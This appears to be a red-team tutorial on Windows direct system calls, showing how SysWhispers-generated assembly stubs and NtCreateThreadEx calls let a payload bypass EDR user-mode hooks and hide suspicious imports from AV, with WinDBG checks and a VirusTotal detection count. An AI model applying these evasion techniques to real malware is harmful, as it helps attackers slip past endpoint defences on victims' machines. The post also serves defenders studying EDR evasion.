What is a System Call?

At the assembly level, a system call is a specific instruction embedded in a syscall stub. This instruction facilitates a temporary transition, known as a CPU switch, from user mode to kernel mode following the execution of code in the user mode of Windows, within the context of the corresponding Windows API. Essentially, the system call serves as the interface connecting a user mode process to the task that needs to be performed in the Windows kernel.

Each system call can be found by its own syscall ID and is associated with a specific native API in Windows. However, the syscall ID can vary from one version of Windows to another.

What is a Direct System Call?

Is a technique that allows an attacker to execute malicious code, in the context of APIs on Windows in such a way that the system call is not obtained via ntdll.dll, instead this system call is passed as a stub inside the PE’s resource section .rsc or .txt section in form of the assembly instructions.

Syscalls hooking by EDR can be evaded by obtaining the syscall function coded in the assembly language and calling that crafted syscall directly from within the assembly file.

The System Service Number (SSN) varies from system to system. To overcome this problem, the SSN can be either :

  • Hard-coded in the assembly file
  • Calculated dynamically during runtime

Tools suchs as syswhispers, Hell’s Gate, Hallo’s Gate, Tartarus’s Gate, can be utilized in this techniques

Alt text

NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, (SSN of NtAllocateVirtualMemory)
syscall
ret
NtAllocateVirtualMemory PROC
NtProtectVirtualMemory PROC
mov r10, rcx
mov eax, (SSN of NtProtectVirtualMemory)
syscall
ret
NtProtectVirtualMemory ENDP

KiSystemCall/KiSystemCall64 in the Windows kernel, is responsible for querying the System Service Descriptor Table (SSDT) for the appropriate function code based on the executed system call ID (index number in the EAX register)

Why Direct System Calls?

Both AV and EDR products rely on different defence mechanisms to protect against malware. To dynamically inspect potentially malicious code in the context of Windows APIs, most EDRs today implement the principle of user-mode API hooking.

Under Windows, the following types of hooking can be distinguished, among others:

  • Inline API hooking
  • Import Adress Table (IAT) hooking
  • SSDT hooking (Windows Kernel)

SysWhispers

SysWhispers is a toolkit developed for Windows operating systems that facilitates direct syscall invocation. By directly making syscalls, developers can bypass standard API calls, which can be useful for various purposes, including low-level system manipulation and rootkit development. SysWhisper comes in three versions, each with its own set of features and capabilities.

1) SysWhispers1 - The first version of SysWhispers laid the foundation for direct syscall invocation on Windows systems. It provided a basic understanding of how to make syscalls directly, bypassing the traditional API calls. The SSNs are retrieved from Windows System Syscall Table and hardcoded in the asm files generated by SysWhispers1

.code

NtAllocateVirtualMemory PROC
	mov rax, gs:[60h] ; Load PEB into RAX
	
NtAllocateVirtualMemory_Check_X_X_XXXX: ; Check major version
	cmp dword ptr [rax+118h], 5
	je NtAllocateVirtualMemory_SystemCall_5_X_XXXX
	cmp dword ptr [rax+118h], 6
	je NtAllocateVirtualMemory_Check_6_X_XXXX
	cmp dword ptr [rax+118h], 10
	je NtAllocateVirtualMemory_Check_10_0_XXXX
	jmp NtAllocateVirtualMemory_SystemCall_Unknown

NtAllocateVirtualMemory_SystemCall_5_X_XXXX: ; Windows XP and Server2003
	mov eax, 0015h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_0_6000: ; Windows Vista SP0
	mov eax, 0015h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_1_7600: ; Windows 7 SP0
	mov eax, 0015h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_2_XXXX: ; Windows 8 and Server 2012
	mov eax, 0016h
	jmp NtAllocateVirtualMemory_Epilogue

As you can see, System Service Number (SSN) values for every supported Windows version are hardcoded in the asm file.

2) SysWhispers2 - The second version improved upon the original by introducing dynamic syscall resolution. This means that it could automatically identify and invoke syscalls on various Windows versions, providing a more versatile and user-friendly experience

.data
currentHash DWORD 0

.code
EXTERN SW2_GetSyscallNumber: PROC

WhisperMain PROC
	pop rax
	mov [rsp+ 8], rcx ; Save registers.
	mov [rsp+16], rdx
	mov [rsp+24], r8
	mov [rsp+32], r9
	sub rsp, 28h
	mov ecx, currentHash
	call SW2_GetSyscallNumber
	add rsp, 28h
	mov rcx, [rsp+ 8] ; Restore registers.
	mov rdx, [rsp+16]
	mov r8, [rsp+24]
	mov r9, [rsp+32]
	mov r10, rcx
	syscall ; Issue syscall
	ret
WhisperMain ENDP

Syswhispers2 is able to dynamically find the SSN values. SysWhispers2 uses sorting by system call address method to find the SSN. This is done by finding all syscalls starting with Zw and saving their address in an array in ascending order. The SSN will become the index of the system call stored in the array.

3) SysWhispers3 - Unlike its predecessors, SysWhispers3 makes direct syscalls where it searches for syscall instruction ntdll address space and jumps to that instruction instead of directly invoking it. It also includes a jumper randomizer which searches for random functions’ syscall instruction and jumps to them. So in summary the instruction belongs to another function.

.code
EXTERN SW3_GetSyscallNumber: PROC
NtAllocateVirtualMemory PROC
	mov [rsp +8], rcx ; Save registers.
	mov [rsp+16], rdx
	mov [rsp+24], r8
	mov [rsp+32], r9
	sub rsp, 28h
	mov ecx, 03DB04B4Fh ; Load function hash into ECX.
	call SW3_GetSyscallNumber ; Resolve function hash into syscall number.
	add rsp, 28h
	mov rcx, [rsp+8] ; Restore registers.
	mov rdx, [rsp+16]
	mov r8, [rsp+24]
	mov r9, [rsp+32]
	mov r10, rcx
	syscall ; Invoke system call.
	ret
NtAllocateVirtualMemory ENDP
End

This asm file calls SW3_GetSyscallAddress which is defined in a C file that SysWhispers3 generates:

EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
{
	// Ensure SW3_SyscallList is populated.
	if (!SW3_PopulateSyscallList()) return NULL;
	for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
	{
		if (FunctionHash == SW3_SyscallList.Entries[i].Hash){
			return SW3_SyscallList.Entries[i].SyscallAddress;
		}
	}
	return NULL;
}

It calls SW3_PopulateSyscallList function to populate the syscall list and then searches through it for the target function.

As an example we will be using SysWhispers3 to invoke direct syscall on NtAllocateVirtualMemory as a PoC to see whether our edr.dll can hook it or not.

Direct SysCall (SysWhispers3)

We will be using SysWhispers3 to invoke direct syscall on :

  • NtAllocateVirtualMemory
  • NtProtectVirtualMemory
  • NtCreateThreadEx
  • NtWaitForMultipleObjects
python syswhispers.py -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx,NtWaitForMultipleObjects -o POC/poc

Alt text

This command generates three files: poc.c, poc.h and poc-asm/x64.asm. When we have a look at the code we can see that the Nt functions are defined like the NtInternals NTAPI Undocumented Functions, to make sure the functions behave the same as their NTDLL counterparts. As an example we will have a look at the NtProtectVirtualMemory function. We can see the SysWhispers3 version side by side with the NTDLL version.

Alt text

As we can see in the table, the definition is the same, but the assembly instructions are a bit different. The NTDLL version checks if the loaded function name is correct, which is an extra error check. The SysWhispers version first saves the used registers to restore them afterwards, this restoration is included to not disrupt the normal program flow.

Alt text

Instead of loading the syscall number, the SysWhispers version calls the function SW3_GetSyscallNumber. This is the function that looks for the correct syscall number based on the function name, and stores the number in the eax register. Looking for the syscall numbers in the list is the part which makes the code compatible with all Windows versions. We can see that the assembly syntax is different, but, as shown, the semantics are the same.

Alt text Alt text

Implementing the functions

The functions can be used by including the poc.h header. The next step is to replace all the occurrences of the functions with their Nt counterpart. The following codeblock shows the a version for the CreateThread

// Using direct syscall
HANDLE hHostThread = INVALID_HANDLE_VALUE;
NtCreateThreadEx(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)BaseAddress, NULL, FALSE, NULL, NULL, NULL, NULL);

Before using NtCreateThreadEx the current process handle has to be obtained and a thread handle has to be initialized.

Viewing the Import Address Table in Memory

Once, all the occurences of our suspicious functions are replaced, we can view the populated IAT using WinDBG. We start by listing the loaded modules in memory;

lm

Alt text

Then use the dump header (dh) command to find the offset of the IAT;

!dh 00007ff7`c42d0000 -f

Alt text

The import table can then be dumped using the dps command

dps 00007ff7`c42d0000+4000

Alt text

So, just by looking at the IAT, we can see that all suspicious functions are no longer imported. AV software also analyses the IAT to determine if an application might have malicious intent.

The final step is to check if the payload works as intended.

Alt text

As you can see it’s working. But detected by AVs.

Alt text

https://www.virustotal.com/gui/file/31b263e9e0194fd7827a0a6adbb81cb8de7cb652995aba1e941856155ae8f015/detection

As you can see, only 19 of 72 AV engines detect our file as malicious

Sources

  • https://www.jstage.jst.go.jp/article/ipsjjip/25/0/25_866/_pdf
  • https://institute.sektor7.net/red-team-operator-malware-development-essentials
  • https://institute.sektor7.net/rto-maldev-intermediate
  • https://www.bordergate.co.uk/import-address-tables/
  • https://hadess.io/blog/